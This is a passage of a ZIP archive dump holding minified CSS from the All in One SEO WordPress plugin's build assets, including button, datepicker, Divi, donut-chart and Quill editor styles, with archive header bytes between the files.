rimary.is-text.is-disabled,.el-button--primary.is-text.is-disabled:active,.el-button--primary.is-text.is-disabled:focus,.el-button--primary.is-text.is-disabled:hover{color:var(--el-color-primary-light-5);background-color:var(--el-color-primary-light-9);border-color:var(--el-color-primary-light-8)}.el-button--success{--el-button-text-color:var(--el-color-white);--el-button-bg-color:var(--el-color-success);--el-button-border-color:var(--el-color-success);--el-button-outline-color:var(--el-color-success-light-5);--el-button-active-color:var(--el-color-success-dark-2);--el-button-hover-text-color:var(--el-color-white);--el-button-hover-link-text-color:var(--el-color-success-light-5);--el-button-hover-bg-color:var(--el-color-success-light-3);--el-button-hover-border-color:var(--el-color-success-light-3);--el-button-active-bg-color:var(--el-color-success-dark-2);--el-button-active-border-color:var(--el-color-success-dark-2);--el-button-disabled-text-color:var(--el-color-white);--el-button-disabled-bg-color:var(--el-color-success-light-5);--el-button-disabled-border-color:var(--el-color-success-light-5)}.el-button--success.is-link,.el-button--success.is-plain,.el-button--success.is-text{--el-button-text-color:var(--el-color-success);--el-button-bg-color:var(--el-color-success-light-9);--el-button-border-color:var(--el-color-success-light-5);--el-button-hover-text-color:var(--el-color-white);--el-button-hover-bg-color:var(--el-color-success);--el-button-hover-border-color:var(--el-color-success);--el-button-active-text-color:var(--el-color-white)}.el-button--success.is-link.is-disabled,.el-button--success.is-link.is-disabled:active,.el-button--success.is-link.is-disabled:focus,.el-button--success.is-link.is-disabled:hover,.el-button--success.is-plain.is-disabled,.el-button--success.is-plain.is-disabled:active,.el-button--success.is-plain.is-disabled:focus,.el-button--success.is-plain.is-disabled:hover,.el-button--success.is-text.is-disabled,.el-button--success.is-text.is-disabled:active,.el-button--success.is-text.is-disabled:focus,.el-button--success.is-text.is-disabled:hover{color:var(--el-color-success-light-5);background-color:var(--el-color-success-light-9);border-color:var(--el-color-success-light-8)}.el-button--warning{--el-button-text-color:var(--el-color-white);--el-button-bg-color:var(--el-color-warning);--el-button-border-color:var(--el-color-warning);--el-button-outline-color:var(--el-color-warning-light-5);--el-button-active-color:var(--el-color-warning-dark-2);--el-button-hover-text-color:var(--el-color-white);--el-button-hover-link-text-color:var(--el-color-warning-light-5);--el-button-hover-bg-color:var(--el-color-warning-light-3);--el-button-hover-border-color:var(--el-color-warning-light-3);--el-button-active-bg-color:var(--el-color-warning-dark-2);--el-button-active-border-color:var(--el-color-warning-dark-2);--el-button-disabled-text-color:var(--el-color-white);--el-button-disabled-bg-color:var(--el-color-warning-light-5);--el-button-disabled-border-color:var(--el-color-warning-light-5)}.el-button--warning.is-link,.el-button--warning.is-plain,.el-button--warning.is-text{--el-button-text-color:var(--el-color-warning);--el-button-bg-color:var(--el-color-warning-light-9);--el-button-border-color:var(--el-color-warning-light-5);--el-button-hover-text-color:var(--el-color-white);--el-button-hover-bg-color:var(--el-color-warning);--el-button-hover-border-color:var(--el-color-warning);--el-button-active-text-color:var(--el-color-white)}.el-button--warning.is-link.is-disabled,.el-button--warning.is-link.is-disabled:active,.el-button--warning.is-link.is-disabled:focus,.el-button--warning.is-link.is-disabled:hover,.el-button--warning.is-plain.is-disabled,.el-button--warning.is-plain.is-disabled:active,.el-button--warning.is-plain.is-disabled:focus,.el-button--warning.is-plain.is-disabled:hover,.el-button--warning.is-text.is-disabled,.el-button--warning.is-text.is-disabled:active,.el-button--warning.is-text.is-disabled:focus,.el-button--warning.is-text.is-disabled:hover{color:var(--el-color-warning-light-5);background-color:var(--el-color-warning-light-9);border-color:var(--el-color-warning-light-8)}.el-button--danger{--el-button-text-color:var(--el-color-white);--el-button-bg-color:var(--el-color-danger);--el-button-border-color:var(--el-color-danger);--el-button-outline-color:var(--el-color-danger-light-5);--el-button-active-color:var(--el-color-danger-dark-2);--el-button-hover-text-color:var(--el-color-white);--el-button-hover-link-text-color:var(--el-color-danger-light-5);--el-button-hover-bg-color:var(--el-color-danger-light-3);--el-button-hover-border-color:var(--el-color-danger-light-3);--el-button-active-bg-color:var(--el-color-danger-dark-2);--el-button-active-border-color:var(--el-color-danger-dark-2);--el-button-disabled-text-color:var(--el-color-white);--el-button-disabled-bg-color:var(--el-color-danger-light-5);--el-button-disabled-border-color:var(--el-color-danger-light-5)}.el-button--danger.is-link,.el-button--danger.is-plain,.el-button--danger.is-text{--el-button-text-color:var(--el-color-danger);--el-button-bg-color:var(--el-color-danger-light-9);--el-button-border-color:var(--el-color-danger-light-5);--el-button-hover-text-color:var(--el-color-white);--el-button-hover-bg-color:var(--el-color-danger);--el-button-hover-border-color:var(--el-color-danger);--el-button-active-text-color:var(--el-color-white)}.el-button--danger.is-link.is-disabled,.el-button--danger.is-link.is-disabled:active,.el-button--danger.is-link.is-disabled:focus,.el-button--danger.is-link.is-disabled:hover,.el-button--danger.is-plain.is-disabled,.el-button--danger.is-plain.is-disabled:active,.el-button--danger.is-plain.is-disabled:focus,.el-button--danger.is-plain.is-disabled:hover,.el-button--danger.is-text.is-disabled,.el-button--danger.is-text.is-disabled:active,.el-button--danger.is-text.is-disabled:focus,.el-button--danger.is-text.is-disabled:hover{color:var(--el-color-danger-light-5);background-color:var(--el-color-danger-light-9);border-color:var(--el-color-danger-light-8)}.el-button--info{--el-button-text-color:var(--el-color-white);--el-button-bg-color:var(--el-color-info);--el-button-border-color:var(--el-color-info);--el-button-outline-color:var(--el-color-info-light-5);--el-button-active-color:var(--el-color-info-dark-2);--el-button-hover-text-color:var(--el-color-white);--el-button-hover-link-text-color:var(--el-color-info-light-5);--el-button-hover-bg-color:var(--el-color-info-light-3);--el-button-hover-border-color:var(--el-color-info-light-3);--el-button-active-bg-color:var(--el-color-info-dark-2);--el-button-active-border-color:var(--el-color-info-dark-2);--el-button-disabled-text-color:var(--el-color-white);--el-button-disabled-bg-color:var(--el-color-info-light-5);--el-button-disabled-border-color:var(--el-color-info-light-5)}.el-button--info.is-link,.el-button--info.is-plain,.el-button--info.is-text{--el-button-text-color:var(--el-color-info);--el-button-bg-color:var(--el-color-info-light-9);--el-button-border-color:var(--el-color-info-light-5);--el-button-hover-text-color:var(--el-color-white);--el-button-hover-bg-color:var(--el-color-info);--el-button-hover-border-color:var(--el-color-info);--el-button-active-text-color:var(--el-color-white)}.el-button--info.is-link.is-disabled,.el-button--info.is-link.is-disabled:active,.el-button--info.is-link.is-disabled:focus,.el-button--info.is-link.is-disabled:hover,.el-button--info.is-plain.is-disabled,.el-button--info.is-plain.is-disabled:active,.el-button--info.is-plain.is-disabled:focus,.el-button--info.is-plain.is-disabled:hover,.el-button--info.is-text.is-disabled,.el-button--info.is-text.is-disabled:active,.el-button--info.is-text.is-disabled:focus,.el-button--info.is-text.is-disabled:hover{color:var(--el-color-info-light-5);background-color:var(--el-color-info-light-9);border-color:var(--el-color-info-light-8)}.el-button--large{--el-button-size:40px;height:var(--el-button-size);padding:12px 19px;font-size:var(--el-font-size-base);border-radius:var(--el-border-radius-base)}[dir=ltr] .el-button--large [class*=el-icon]+span{margin-left:8px}[dir=rtl] .el-button--large [class*=el-icon]+span{margin-right:8px}.el-button--large.is-round{padding:12px 19px}.el-button--large.is-circle{width:var(--el-button-size);padding:12px}.el-button--small{--el-button-size:24px;height:var(--el-button-size);padding:5px 11px;font-size:12px;border-radius:calc(var(--el-border-radius-base) - 1px)}[dir=ltr] .el-button--small [class*=el-icon]+span{margin-left:4px}[dir=rtl] .el-button--small [class*=el-icon]+span{margin-right:4px}.el-button--small.is-round{padding:5px 11px}.el-button--small.is-circle{width:var(--el-button-size);padding:5px}.el-popper{--el-datepicker-inrange-bg-color: #E6EEFC;--el-datepicker-active-color: #005AE0;--el-color-primary: #005AE0;--el-datepicker-border-color: #D0D1D7;--el-border-color-light: #D0D1D7;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica,Arial,sans-serif}.aioseo-datepicker{position:relative}.aioseo-datepicker-picker{display:flex;flex-direction:row;align-items:center;padding:5px 8px;background:#fff;border:1px solid #D0D1D7;border-radius:4px;color:#141b38;cursor:pointer;font-weight:400;font-size:14px}.aioseo-datepicker-picker .aioseo-calendar{width:12px;height:13px;color:#8c8f9a;pointer-events:none}[dir=ltr] .aioseo-datepicker-picker .aioseo-calendar{margin-right:6px}[dir=rtl] .aioseo-datepicker-picker .aioseo-calendar{margin-left:6px}.aioseo-datepicker-picker .label span{font-weight:400}.aioseo-datepicker-picker .label span.placeholder{color:#8c8f9a}.aioseo-datepicker-picker .clear{opacity:1;line-height:0}[dir=ltr] .aioseo-datepicker-picker .clear{margin-left:auto}[dir=rtl] .aioseo-datepicker-picker .clear{margin-right:auto}.aioseo-datepicker-picker .clear svg{color:#8c8f9a;width:15px;height:15px}.aioseo-datepicker-picker--small{padding:4px 10px;font-size:13px}.aioseo-datepicker-picker--default{padding:6px;font-size:14px}.aioseo-datepicker-picker--large{padding:7px 10px;min-height:40px;line-height:25px;font-size:14px}.aioseo-datepicker .el-date-editor{position:absolute;width:100%;height:100%;opacity:0;pointer-events:none}.el-popper.el-picker__popper{border:1px solid #D0D1D7;box-shadow:0 4px 26px #2c324c1f;z-index:9998!important}.el-picker-panel{color:#2c324c}.el-picker-panel__shortcut{color:#434960;font-weight:400;font-size:14px}[dir=ltr] .el-picker-panel__shortcut{padding-left:16px}[dir=rtl] .el-picker-panel__shortcut{padding-right:16px}.el-picker-panel__shortcut:hover{color:#005ae0}.el-picker-panel__shortcut.active{background-color:#e6eefc;color:#005ae0}.el-picker-panel__sidebar{padding-top:16px;width:130px;background-color:transparent}[dir=ltr] .el-picker-panel__sidebar{border-right:0}[dir=rtl] .el-picker-panel__sidebar{border-left:0}[dir=ltr] .el-picker-panel__sidebar+.el-picker-panel__body{margin-left:130px}[dir=rtl] .el-picker-panel__sidebar+.el-picker-panel__body{margin-right:130px}.el-picker-panel.el-date-range-picker .el-picker-panel__content{border-left:0!important;border-right:0!important;padding:10px 0}.el-picker-panel.el-date-range-picker .el-picker-panel__content:after{content:"";position:absolute;top:16px;width:1px;height:90%;background:#e8e8eb}[dir=ltr] .el-picker-panel.el-date-range-picker .el-picker-panel__content:after{left:0}[dir=rtl] .el-picker-panel.el-date-range-picker .el-picker-panel__content:after{right:0}.el-picker-panel.el-date-range-picker .el-picker-panel__icon-btn{padding:1px 6px}.el-picker-panel__footer .el-button{font-size:12px;line-height:1;padding:5px 11px}.el-date-range-picker__content{padding:0 8px}.el-date-range-picker__content .el-date-range-picker__header div{font-size:14px;font-weight:600;color:#2c324c}.el-date-range-picker__content .el-date-table,.el-date-picker__time-header .el-input__inner,.el-date-range-picker__time-header .el-input__inner{border:0}.el-date-picker__time-header .el-input__inner:focus,.el-date-range-picker__time-header .el-input__inner:focus{outline:0;box-shadow:none}.el-time-spinner__item{margin-bottom:0}.el-time-panel__footer .el-time-panel__btn{border:none;line-height:28px;padding:0 5px;margin:0 5px;cursor:pointer;background-color:transparent;outline:0;font-size:12px;color:var(--el-text-color-primary)}.el-date-table th{font-size:12px;font-weight:600;color:#434960;border-bottom:0}.el-date-table td{padding:2px 0}.el-date-table td span{font-size:14px}.el-date-table td.end-date span,.el-date-table td.start-date span{background-color:#005ae0}.el-date-table td.in-range div,.el-date-table td.in-range div:hover,.el-date-table.is-week-mode .el-date-table__row.current div,.el-date-table.is-week-mode .el-date-table__row:hover div{background-color:#005ae01a}.el-date-table td.next-month,.el-date-table td.prev-month{color:#8c8f9a}.el-date-table td.available:hover{color:#005ae0} PKÉ—[zôff@all-in-one-seo-pack/dist/Lite/assets/css/divi-admin.CbJEkMhq.cssnu„[µü¤.aioseo-divi-seo-admin-notice-container{margin-bottom:20px}#wrap-seo .et-epanel-box{filter:blur(2px)} PKÉ—[/ïúÓ‚‚:all-in-one-seo-pack/dist/Lite/assets/css/divi.DCnuHbHt.cssnu„[µü¤[dir=ltr] .aioseo-limit-modified-date-divi{margin-left:1px}[dir=rtl] .aioseo-limit-modified-date-divi{margin-right:1px}.aioseo-limit-modified-date-divi__button-toggle .aioseo-caret{width:18px;height:18px;transition:transform .3s}[dir=ltr] .aioseo-limit-modified-date-divi__button-toggle .aioseo-caret.rotated{transform:rotate(-180deg)}[dir=rtl] .aioseo-limit-modified-date-divi__button-toggle .aioseo-caret.rotated{transform:rotate(180deg)}.aioseo-limit-modified-date-divi__options{position:absolute;top:calc(-100% - 1px)}[dir=ltr] .aioseo-limit-modified-date-divi__options{right:0}[dir=rtl] .aioseo-limit-modified-date-divi__options{left:0} PKÉ—[›5ŽðJall-in-one-seo-pack/dist/Lite/assets/css/DonutChartWithLegend.BWu78DM3.cssnu„[µü¤.aioseo-app .aioseo-donut-chart{position:relative;display:flex}.aioseo-app .aioseo-donut-chart svg{width:100%}.aioseo-app .aioseo-donut-chart svg circle{transform-origin:center}[dir=ltr] .aioseo-app .aioseo-donut-chart svg circle{transform:rotate(270deg)}[dir=rtl] .aioseo-app .aioseo-donut-chart svg circle{transform:rotate(-270deg)}.aioseo-app .aioseo-donut-chart .total-amount-wrapper{position:absolute;left:0;top:0;right:0;bottom:0;display:flex;align-items:center;justify-content:center;flex-direction:column;color:#141b38;margin:20px}.aioseo-app .aioseo-donut-chart .total-amount-wrapper .total-amount{text-align:center}.aioseo-app .aioseo-donut-chart .total-amount-wrapper .total-amount .total{font-size:32px;font-weight:700;line-height:40px}.aioseo-app .aioseo-donut-chart .total-amount-wrapper .total-amount .label{margin-top:5px;line-height:150%}.aioseo-app .aioseo-donut-chart-with-legend{display:flex;font-size:14px;color:#141b38}.aioseo-app .aioseo-donut-chart-with-legend .chart-left{max-width:200px;max-height:200px;position:relative}.aioseo-app .aioseo-donut-chart-with-legend .chart-right{flex:1 1 80%;font-size:14px;line-height:125%;margin-top:auto;margin-bottom:auto}[dir=ltr] .aioseo-app .aioseo-donut-chart-with-legend .chart-right{margin-left:32px}[dir=rtl] .aioseo-app .aioseo-donut-chart-with-legend .chart-right{margin-right:32px}.aioseo-app .aioseo-donut-chart-with-legend .chart-right .legend{display:flex;align-items:center}.aioseo-app .aioseo-donut-chart-with-legend .chart-right .legend+.legend{margin-top:12px}.aioseo-app .aioseo-donut-chart-with-legend .chart-right .legend span{display:inline-block}.aioseo-app .aioseo-donut-chart-with-legend .chart-right .legend .legend-bullet{width:12px;height:12px;min-width:12px;border-radius:50%}[dir=ltr] .aioseo-app .aioseo-donut-chart-with-legend .chart-right .legend .legend-bullet{margin-right:8px}[dir=rtl] .aioseo-app .aioseo-donut-chart-with-legend .chart-right .legend .legend-bullet{margin-left:8px}.aioseo-app .aioseo-donut-chart-with-legend .chart-right .legend .legend-amount{font-weight:700;min-width:30px}[dir=ltr] .aioseo-app .aioseo-donut-chart-with-legend .chart-right .legend .legend-amount{margin-right:8px;text-align:left}[dir=rtl] .aioseo-app .aioseo-donut-chart-with-legend .chart-right .legend .legend-amount{margin-left:8px;text-align:right}.aioseo-app .aioseo-donut-chart-with-legend .chart-right .legend .legend-label{line-height:130%}.aioseo-app .aioseo-donut-chart-with-legend .chart-right .legend .legend-label.is-link{text-decoration:none}.aioseo-app .aioseo-donut-chart-with-legend .chart-right .legend .legend-label.is-link:hover{text-decoration:underline}.aioseo-app .aioseo-donut-chart-with-legend .chart-right .chart-more{margin-top:21px;color:#005ae0;font-weight:700;cursor:pointer}[dir=ltr] .aioseo-app .aioseo-donut-chart-with-legend .chart-right .chart-more{margin-left:6px}[dir=rtl] .aioseo-app .aioseo-donut-chart-with-legend .chart-right .chart-more{margin-right:6px}.aioseo-app .aioseo-donut-chart-with-legend .chart-right .chart-more a{text-decoration:underline}.aioseo-app .aioseo-donut-chart-with-legend .chart-right .chart-more a:not(:first-of-type),.aioseo-app .aioseo-donut-chart-with-legend .chart-right .chart-more a:hover{text-decoration:none}@media screen and (max-width: 1200px){.aioseo-app .aioseo-donut-chart-with-legend{display:block!important}.aioseo-app .aioseo-donut-chart-with-legend .chart-left{margin-left:auto;margin-right:auto}.aioseo-app .aioseo-donut-chart-with-legend .chart-right{margin-left:auto;margin-right:auto;margin-top:20px;display:flex;flex-direction:column}} PKÉ—[ÜÈY`dŠdŠ<all-in-one-seo-pack/dist/Lite/assets/css/Editor.DxsC9xdY.cssnu„[µü¤/*! * Quill Editor v1.3.7 * https://quilljs.com/ * Copyright (c) 2014, Jason Chen * Copyright (c) 2013, salesforce.com */.ql-container{box-sizing:border-box;font-family:Helvetica,Arial,sans-serif;font-size:13px;height:100%;margin:0;position:relative}.ql-container.ql-disabled .ql-tooltip{visibility:hidden}.ql-container.ql-disabled .ql-editor ul[data-checked]>li:before{pointer-events:none}.ql-clipboard{height:1px;overflow-y:hidden;position:absolute;top:50%}[dir=ltr] .ql-clipboard{left:-100000px}[dir=rtl] .ql-clipboard{right:-100000px}.ql-clipboard p{margin:0;padding:0}.ql-editor{box-sizing:border-box;line-height:1.42;height:100%;outline:none;overflow-y:auto;padding:12px 15px;tab-size:4;-moz-tab-size:4;white-space:pre-wrap;word-wrap:break-word}[dir=ltr] .ql-editor{text-align:left}[dir=rtl] .ql-editor{text-align:right}.ql-editor>*{cursor:text}.ql-editor p,.ql-editor ol,.ql-editor ul,.ql-editor pre,.ql-editor blockquote,.ql-editor h1,.ql-editor h2,.ql-editor h3,.ql-editor h4,.ql-editor h5,.ql-editor h6{margin:0;padding:0;counter-reset:list-1 list-2 list-3 list-4 list-5 list-6 list-7 list-8 list-9}[dir=ltr] .ql-editor ol,[dir=ltr] .ql-editor ul{padding-left:1.5em}[dir=rtl] .ql-editor ol,[dir=rtl] .ql-editor ul{padding-right:1.5em}.ql-editor ol>li,.ql-editor ul>li{list-style-type:none}.ql-editor ul>li:before{content:"•"}.ql-editor ul[data-checked=true],.ql-editor ul[data-checked=false]{pointer-events:none}.ql-editor ul[data-checked=true]>li *,.ql-editor ul[data-checked=false]>li *{pointer-events:all}.ql-editor ul[data-checked=true]>li:before,.ql-editor ul[data-checked=false]>li:before{color:#777;cursor:pointer;pointer-events:all}.ql-editor ul[data-checked=true]>li:before{content:"☑"}.ql-editor ul[data-checked=false]>li:before{content:"â˜"}.ql-editor li:before{display:inline-block;white-space:nowrap;width:1.2em}[dir=ltr] .ql-editor li:not(.ql-direction-rtl):before{margin-left:-1.5em;margin-right:.3em;text-align:right}[dir=rtl] .ql-editor li:not(.ql-direction-rtl):before{margin-right:-1.5em;margin-left:.3em;text-align:left}[dir=ltr] .ql-editor li.ql-direction-rtl:before{margin-left:.3em;margin-right:-1.5em}[dir=rtl] .ql-editor li.ql-direction-rtl:before{margin-right:.3em;margin-left:-1.5em}[dir=ltr] .ql-editor ol li:not(.ql-direction-rtl),[dir=ltr] .ql-editor ul li:not(.ql-direction-rtl){padding-left:1.5em}[dir=rtl] .ql-editor ol li:not(.ql-direction-rtl),[dir=rtl] .ql-editor ul li:not(.ql-direction-rtl){padding-right:1.5em}[dir=ltr] .ql-editor ol li.ql-direction-rtl,[dir=ltr] .ql-editor ul li.ql-direction-rtl{padding-right:1.5em}[dir=rtl] .ql-editor ol li.ql-direction-rtl,[dir=rtl] .ql-editor ul li.ql-direction-rtl{padding-left:1.5em}.ql-editor ol li{counter-reset:list-1 list-2 list-3 list-4 list-5 list-6 list-7 list-8 list-9;counter-increment:list-0}.ql-editor ol li:before{content:counter(list-0,decimal) ". "}.ql-editor ol li.ql-indent-1{counter-increment:list-1}.ql-editor ol li.ql-indent-1:before{content:counter(list-1,lower-alpha) ". "}.ql-editor ol li.ql-indent-1{counter-reset:list-2 list-3 list-4 list-5 list-6 list-7 list-8 list-9}.ql-editor ol li.ql-indent-2{counter-increment:list-2}.ql-editor ol li.ql-indent-2:before{content:counter(list-2,lower-roman) ". "}.ql-editor ol li.ql-indent-2{counter-reset:list-3 list-4 list-5 list-6 list-7 list-8 list-9}.ql-editor ol li.ql-indent-3{counter-increment:list-3}.ql-editor ol li.ql-indent-3:before{content:counter(list-3,decimal) ". "}.ql-editor ol li.ql-indent-3{counter-reset:list-4 list-5 list-6 list-7 list-8 list-9}.ql-editor ol li.ql-indent-4{counter-increment:list-4}.ql-editor ol li.ql-indent-4:before{content:counter(list-4,lower-alpha) ". "}.ql-editor ol li.ql-indent-4{counter-reset:list-5 list-6 list-7 list-8 list-9}.ql-editor ol li.ql-indent-5{counter-increment:list-5}.ql-editor ol li.ql-indent-5:before{content:counter(list-5,lower-roman) ". "}.ql-editor ol li.ql-indent-5{counter-reset:list-6 list-7 list-8 list-9}.ql-editor ol li.ql-indent-6{counter-increment:list-6}.ql-editor ol li.ql-indent-6:before{content:counter(list-6,decimal) ". "}.ql-editor ol li.ql-indent-6{counter-reset:list-7 list-8 list-9}.ql-editor ol li.ql-indent-7{counter-increment:list-7}.ql-editor ol li.ql-indent-7:before{content:counter(list-7,lower-alpha) ". "}.ql-editor ol li.ql-indent-7{counter-reset:list-8 list-9}.ql-editor ol li.ql-indent-8{counter-increment:list-8}.ql-editor ol li.ql-indent-8:before{content:counter(list-8,lower-roman) ". "}.ql-editor ol li.ql-indent-8{counter-reset:list-9}.ql-editor ol li.ql-indent-9{counter-increment:list-9}.ql-editor ol li.ql-indent-9:before{content:counter(list-9,decimal) ". "}[dir=ltr] .ql-editor .ql-indent-1:not(.ql-direction-rtl){padding-left:3em}[dir=rtl] .ql-editor .ql-indent-1:not(.ql-direction-rtl){padding-right:3em}[dir=ltr] .ql-editor li.ql-indent-1:not(.ql-direction-rtl){padding-left:4.5em}[dir=rtl] .ql-editor li.ql-indent-1:not(.ql-direction-rtl){padding-right:4.5em}[dir=ltr] .ql-editor .ql-indent-1.ql-direction-rtl.ql-align-right{padding-right:3em}[dir=rtl] .ql-editor .ql-indent-1.ql-direction-rtl.ql-align-right{padding-left:3em}[dir=ltr] .ql-editor li.ql-indent-1.ql-direction-rtl.ql-align-right{padding-right:4.5em}[dir=rtl] .ql-editor li.ql-indent-1.ql-direction-rtl.ql-align-right{padding-left:4.5em}[dir=ltr] .ql-editor .ql-indent-2:not(.ql-direction-rtl){padding-left:6em}[dir=rtl] .ql-editor .ql-indent-2:not(.ql-direction-rtl){padding-right:6em}[dir=ltr] .ql-editor li.ql-indent-2:not(.ql-direction-rtl){padding-left:7.5em}[dir=rtl] .ql-editor li.ql-indent-2:not(.ql-direction-rtl){padding-right:7.5em}[dir=ltr] .ql-editor .ql-indent-2.ql-direction-rtl.ql-align-right{padding-right:6em}[dir=rtl] .ql-editor .ql-indent-2.ql-direction-rtl.ql-align-right{padding-left:6em}[dir=ltr] .ql-editor li.ql-indent-2.ql-direction-rtl.ql-align-right{padding-right:7.5em}[dir=rtl] .ql-editor li.ql-indent-2.ql-direction-rtl.ql-align-right{padding-left:7.5em}[dir=ltr] .ql-editor .ql-indent-3:not(.ql-direction-rtl){padding-left:9em}[dir=rtl] .ql-editor .ql-indent-3:not(.ql-direction-rtl){padding-right:9em}[dir=ltr] .ql-editor li.ql-indent-3:not(.ql-direction-rtl){padding-left:10.5em}[dir=rtl] .ql-editor li.ql-indent-3:not(.ql-direction-rtl){padding-right:10.5em}[dir=ltr] .ql-editor .ql-indent-3.ql-direction-rtl.ql-align-right{padding-right:9em}[dir=rtl] .ql-editor .ql-indent-3.ql-direction-rtl.ql-align-right{padding-left:9em}[dir=ltr] .ql-editor li.ql-indent-3.ql-direction-rtl.ql-align-right{padding-right:10.5em}[dir=rtl] .ql-editor li.ql-indent-3.ql-direction-rtl.ql-align-right{padding-left:10.5em}[dir=ltr] .ql-editor .ql-indent-4:not(.ql-direction-rtl){padding-left:12em}[dir=rtl] .ql-editor .ql-indent-4:not(.ql-direction-rtl){padding-right:12em}[dir=ltr] .ql-editor li.ql-indent-4:not(.ql-direction-rtl){padding-left:13.5em}[dir=rtl] .ql-editor li.ql-indent-4:not(.ql-direction-rtl){padding-right:13.5em}[dir=ltr] .ql-editor .ql-indent-4.ql-direction-rtl.ql-align-right{padding-right:12em}[dir=rtl] .ql-editor .ql-indent-4.ql-direction-rtl.ql-align-right{padding-left:12em}[dir=ltr] .ql-editor li.ql-indent-4.ql-direction-rtl.ql-align-right{padding-right:13.5em}[dir=rtl] .ql-editor li.ql-indent-4.ql-direction-rtl.ql-align-right{padding-left:13.5em}[dir=ltr] .ql-editor .ql-indent-5:not(.ql-direction-rtl){padding-left:15em}[dir=rtl] .ql-editor .ql-indent-5:not(.ql-direction-rtl){padding-right:15em}[dir=ltr] .ql-editor li.ql-indent-5:not(.ql-direction-rtl){padding-left:16.5em}[dir=rtl] .ql-editor li.ql-indent-5:not(.ql-direction-rtl){padding-right:16.5em}[dir=ltr] .ql-editor .ql-indent-5.ql-direction-rtl.ql-align-right{padding-right:15em}[dir=rtl] .ql-editor .ql-indent-5.ql-direction-rtl.ql-align-right{padding-left:15em}[dir=ltr] .ql-editor li.ql-indent-5.ql-direction-rtl.ql-align-right{padding-right:16.5em}[dir=rtl] .ql-editor li.ql-indent-5.ql-direction-rtl.ql-align-right{padding-left:16.5em}[dir=ltr] .ql-editor .ql-indent-6:not(.ql-direction-rtl){padding-left:18em}[dir=rtl] .ql-editor .ql-indent-6:not(.ql-direction-rtl){padding-right:18em}[dir=ltr] .ql-editor li.ql-indent-6:not(.ql-direction-rtl){padding-left:19.5em}[dir=rtl] .ql-editor li.ql-indent-6:not(.ql-direction-rtl){padding-right:19.5em}[dir=ltr] .ql-editor .ql-indent-6.ql-direction-rtl.ql-align-right{padding-right:18em}[dir=rtl] .ql-editor .ql-indent-6.ql-direction-rtl.ql-align-right{padding-left:18em}[dir=ltr] .ql-editor li.ql-indent-6.ql-direction-rtl.ql-align-right{padding-right:19.5em}[dir=rtl] .ql-editor li.ql-indent-6.ql-direction-rtl.ql-align-right{padding-left:19.5em}[dir=ltr] .ql-editor .ql-indent-7:not(.ql-direction-rtl){padding-left:21em}[dir=rtl] .ql-editor .ql-indent-7:not(.ql-direction-rtl){padding-right:21em}[dir=ltr] .ql-editor li.ql-indent-7:not(.ql-direction-rtl){padding-left:22.5em}[dir=rtl] .ql-editor li.ql-indent-7:not(.ql-direction-rtl){padding-right:22.5em}[dir=ltr] .ql-editor .ql-indent-7.ql-direction-rtl.ql-align-right{padding-right:21em}[dir=rtl] .ql-editor .ql-indent-7.ql-direction-rtl.ql-align-right{padding-left:21em}[dir=ltr] .ql-editor li.ql-indent-7.ql-direction-rtl.ql-align-right{padding-right:22.5em}[dir=rtl] .ql-editor li.ql-indent-7.ql-direction-rtl.ql-align-right{padding-left:22.5em}[dir=ltr] .ql-editor .ql-indent-8:not(.ql-direction-rtl){padding-left:24em}[dir=rtl] .ql-editor .ql-indent-8:not(.ql-direction-rtl){padding-right:24em}[dir=ltr] .ql-editor li.ql-indent-8:not(.ql-direction-rtl){padding-left:25.5em}[dir=rtl] .ql-editor li.ql-indent-8:not(.ql-direction-rtl){padding-right:25.5em}[dir=ltr] .ql-editor .ql-indent-8.ql-direction-rtl.ql-align-right{padding-right:24em}[dir=rtl] .ql-editor .ql-indent-8.ql-direction-rtl.ql-align-right{padding-left:24em}[dir=ltr] .ql-editor li.ql-indent-8.ql-direction-rtl.ql-align-right{padding-right:25.5em}[dir=rtl] .ql-editor li.ql-indent-8.ql-direction-rtl.ql-align-right{padding-left:25.5em}[dir=ltr] .ql-editor .ql-indent-9:not(.ql-direction-rtl){padding-left:27em}[dir=rtl] .ql-editor .ql-indent-9:not(.ql-direction-rtl){padding-right:27em}[dir=ltr] .ql-editor li.ql-indent-9:not(.ql-direction-rtl){padding-left:28.5em}[dir=rtl] .ql-editor li.ql-indent-9:not(.ql-direction-rtl){padding-right:28.5em}[dir=ltr] .ql-editor .ql-indent-9.ql-direction-rtl.ql-align-right{padding-right:27em}[dir=rtl] .ql-editor .ql-indent-9.ql-direction-rtl.ql-align-right{padding-left:27em}[dir=ltr] .ql-editor li.ql-indent-9.ql-direction-rtl.ql-align-right{padding-right:28.5em}[dir=rtl] .ql-editor li.ql-indent-9.ql-direction-rtl.ql-align-right{padding-left:28.5em}.ql-editor .ql-video{display:block;max-width:100%}.ql-editor .ql-video.ql-align-center{margin:0 auto}[dir=ltr] .ql-editor .ql-video.ql-align-right{margin:0 0 0 auto}[dir=rtl] .ql-editor .ql-video.ql-align-right{margin:0 auto 0 0}.ql-editor .ql-bg-black{background-color:#000}.ql-editor .ql-bg-red{background-color:#e60000}.ql-editor .ql-bg-orange{background-color:#f90}.ql-editor .ql-bg-yellow{background-color:#ff0}.ql-editor .ql-bg-green{background-color:#008a00}.ql-editor .ql-bg-blue{background-color:#06c}.ql-editor .ql-bg-purple{background-color:#93f}.ql-editor .ql-color-white{color:#fff}.ql-editor .ql-color-red{color:#e60000}.ql-editor .ql-color-orange{color:#f90}.ql-editor .ql-color-yellow{color:#ff0}.ql-editor .ql-color-green{color:#008a00}.ql-editor .ql-color-blue{color:#06c}.ql-editor .ql-color-purple{color:#93f}.ql-editor .ql-font-serif{font-family:Georgia,Times New Roman,serif}.ql-editor .ql-font-monospace{font-family:Monaco,Courier New,monospace}.ql-editor .ql-size-small{font-size:.75em}.ql-editor .ql-size-large{font-size:1.5em}.ql-editor .ql-size-huge{font-size:2.5em}.ql-editor .ql-direction-rtl{text-align:inherit}[dir=ltr] .ql-editor .ql-direction-rtl{direction:rtl}[dir=rtl] .ql-editor .ql-direction-rtl{direction:ltr}.ql-editor .ql-align-center{text-align:center}.ql-editor .ql-align-justify{text-align:justify}[dir=ltr] .ql-editor .ql-align-right{text-align:right}[dir=rtl] .ql-editor .ql-align-right{text-align:left}.ql-editor.ql-blank:before{color:#0009;content:attr(data-placeholder);font-style:italic;left:15px;pointer-events:none;position:absolute;right:15px}.ql-snow.ql-toolbar:after,.ql-snow .ql-toolbar:after{clear:both;content:"";display:table}.ql-snow.ql-toolbar button,.ql-snow .ql-toolbar button{background:none;border:none;cursor:pointer;display:inline-block;height:24px;padding:3px 5px;width:28px}[dir=ltr] 